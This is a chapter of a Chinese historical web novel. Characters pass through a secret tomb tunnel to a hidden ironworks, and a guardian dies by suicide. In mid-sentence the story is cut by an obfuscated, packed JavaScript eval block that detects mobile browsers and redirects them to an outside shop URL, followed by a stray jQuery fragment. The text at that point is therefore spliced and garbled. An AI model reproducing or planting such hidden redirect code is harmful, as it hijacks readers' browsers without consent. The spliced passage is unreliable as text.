皮琳觉得自己是阴阳两栖人,她夜里在三阳镇扮鬼,白天偷偷溜回运城睡觉,睡醒了起来逛逛街市,吸一肚子人间烟火,接着复又驱马三十里,回到伸手不见五指的地下,吸一吸鬼气。

    有时候她也犯懒,夜里跟一群目不识丁的大姐们逛累了,次日腰酸体乏不想骑马,就干脆躲进她在三阳镇那个纸糊的家里,除下孝服,换一身利落衣裳,再进入关氏陵寝的密道里,只是这时她走的路与夜里完全不同,沿途遍布机关陷阱,处处是以假乱真的障眼法,要不是这庞大的地下迷宫是她亲爹主持修建的,她从三岁起就在里面抓虫子玩,她也做不到像现在这样穿梭自如。

    关氏陵寝,三阳镇人都以为只有数十座草舍连在一起那么大,其实修筑面积比一百座草舍连在一起都大得多,皮琳记事起她爹就在地底下给“老关大人”挖坟了,现如今小关大人都上位了,这地下迷宫还没造完,不过虽未竣工,却也在去年年底投入使用了。

    什么叫投入使用呢?原来这地宫建造的首要目的并不是用来放棺材陪葬,而是作为一条横穿黑山的地下隧道,将运城采矿场的煤炭源源不断地运往另一边的炼铁厂。

    仰仗亲爹这个总工程师的面子,皮琳去参观过几回炼铁厂,隐藏在山峦环抱之中,热气喷薄,冬日临近都能叫人浑身发汗。要炼好铁,矿石、高炉、人力不可缺一,矿石好说,黑山之所以叫做黑山,正是因为裸露出的山岩中铁矿石含量极高,山体表面几乎全黑,而高炉——为了竖起一个巨大的烟囱,劳役们硬是凭借人力,在地无三尺平的山谷里削了一块平地出来。

    谢平忧带着皮琳这本作弊路书出发,身后跟着的是沉默不言的寇定和将信将疑的女鬼军团,皮琳性子急,不是什么沉稳睿智之人,但是私炼兵甲这种事被外人发现是什么下场她还是有数的,因此她原本打定主意,绝不带路,结果……

    那个女人根本不用她带路,只是将她捆在身边,遇到不确定的路口,扭过头来看她一眼,只一眼——皮琳浑身鸡皮疙瘩的都起来了,对视的瞬间竟然有种当胸洞穿的错觉。

    “你闭什么眼?”谢平忧笑到:“不是都快到了吗?”

    皮琳泄气,悔之晚矣,一行人在地底跋涉了半个多时辰,这会儿眼尖的已经发现了前方高处的洞口,月光从洞口挤进来,明晃晃的一小滩,队伍中有人讶异地低声嘟囔:“还真有出处!”

    寇定瞥谢平忧一眼,见她率先钻进了那束月光之中,手扶着岩壁往上登去。

    名动京城的周游周大夫其实是个女人,重重追杀中逃命出来的谢平忧身负奇才,常能未卜先知,到了近乎妖孽的地步……此人身上究竟还有多少秘密?

    寇定乱七八糟惦念了一通,再抬头时那人都快瞧不见了,得而复失的恐惧袭来,他心中一紧,还是跟了上去。

    郭夫人的女鬼军团在洞口默契止步,寇定转过身来问:“怎么不走了?”

    谢平忧知道原因,但这种话不好替人开口,她只好歪在石壁上一边抠指甲一边等候。

    郭夫人站出来,盯着被寇定反绑双手的皮琳欲言又止地看了好一会儿,皮琳愣是不知悔改,她无法,只好律己不律人了。

    “萧公子。”郭夫人欠身略施一礼道:“多谢你们揭开这陵寝谜团,解三阳镇众人积年的心结。”

    寇定挑眉,等她后面那句“只是”。

    郭夫人:“只是祖宗家训,守陵人不得擅自越出三阳镇一步,吾等虽矇昧,却不敢失信于人,三阳镇以黑山山脊为界,出了这洞口,便是界外了。”

    寇定理解不了这诡异的忠诚,都被骗了几十年了,还这么死心塌地地守着一个承诺做什么?

    “此间景象夫人您还没看够吗?既然陵中本无一物,何不——”

    “咳咳!”谢平忧清了清嗓子打断他:“各人有各人的活法,多说无益。”

    郭夫人欣慰地望了她一眼:“君请自去。”接着转向皮琳,从袖中抽出一把晶亮的匕首来,拧眉道:“此乃叛徒,今日我当手刃之!”

    说时迟那时快,郭夫人出刀前刺,寇定、谢平忧、皮琳三人俱大惊,寇定推皮琳先走,取腰间佩剑临时格挡,这场短兵相接来得太匆忙,他且战且退,一直到出了洞口,剑都还没来得及从剑鞘里拔出来。

    郭夫人在洞口止步,屡刺不中,她心生忧愤,表情狰狞,干脆横刀一喇,割断了自己脖子,横尸坟场。

    寇定和谢平忧都傻眼了,挟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723608|206097||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着皮琳一路狂奔离开这是非之地。

    皮琳满不在乎道:“我就说我这差使不容易,扮鬼的时间久了,哪儿有几个不疯的?”

    “你说她是疯了?”谢平忧喘着粗气道。

    皮琳不乐意与她对话,先前那种被洞穿的感觉还在,越是这样,她越要口是心非,偏开脑袋答道:“三阳镇的人个个精神都不正常。”

    谢平忧懒得同她耍小脾气,问出口的一瞬间自己就已经有了答案——郭夫人是真疯了,此人行为举止全都是临时起意,否则自己不会预测不到,也是,换位思考一下,倘使就出生起就被PUA成看门奴的人是自己,只怕也早就精神错乱,丧失自由意志。

    “你在想什么?”寇定低声问。

    “没什么。”谢平忧摇摇头,心想守陵、守住陵——郭夫人一辈子都为这么一个念头活着,经年日久,她就成了这个念头,“原来这就是走火入魔,怪可怜的。”她嘀咕了一声。

    寇定隐约听见可怜两个字,还以为她在为郭夫人之死伤心震惊,遂腾出一只手来拍了拍她的肩膀,安慰道:“下次……下次我们不走这种地方了。”

    谢平忧鼓了下腮,不置可否。

    三人在灌木丛生的林间小路上绕了几个弯,眼前忽然出现一片山谷里的平地,说是平地也不太准确,因为从半山腰俯仰看去,一座座巨型烟囱拔地而起,平地上各处点着火把,忙碌的劳役推着装满煤块的独轮车穿行其间,远远看去,还能瞧见几处锻造用的厂房。

    “呵。”谢平忧打喉咙里发出一个惊叹的单音节,心说好家伙,领先时代五百年,搁这儿盖上兵工厂了。

    寇定一怔之后也笑了,好一座座烟囱,真是踏破铁鞋无觅处,得来全不费功夫啊。

    他斜眼瞥了下皮琳,余光又瞄见谢平忧警惕的小眼神,下一秒俩人同时起手,手掌覆上手背,齐齐捂住了皮琳刚想尖叫的嘴。

    皮琳一口气被堵回去,嗡嗡地表示不服,耳朵都张大了。

    “皮小姐别急,你这千金之躯我们还留着有用呢。”谢平忧开玩笑道:“关大人千辛万苦造了这么个地方,总不至于是闲着没事儿打铁玩,您若是方便,随我们一道去关大人跟前问个明白?”